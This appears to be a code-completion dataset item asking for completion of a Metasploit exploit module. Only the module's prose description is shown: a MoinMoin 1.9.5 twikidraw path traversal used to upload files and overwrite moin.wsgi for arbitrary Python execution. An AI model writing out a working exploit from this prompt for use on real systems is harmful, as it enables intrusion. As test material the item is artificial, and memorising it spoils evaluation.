You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: moinmoin_twikidraw.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##

          This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
        exists on the manage of the twikidraw actions, where a traversal path can be used
        in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
        configurations by overwriting moin.wsgi, which allows to execute arbitrary python
        code, as exploited in the wild on July, 2012. This module is "ManualRanking," and
        the user is warned to use this module at his own risk since it will overwrite the
        moin.wsgi file, required for the correct working of the MoinMoin wiki. While the
        exploit will try to restore the attacked application at post exploitation, successful
        restoration cannot be guaranteed.
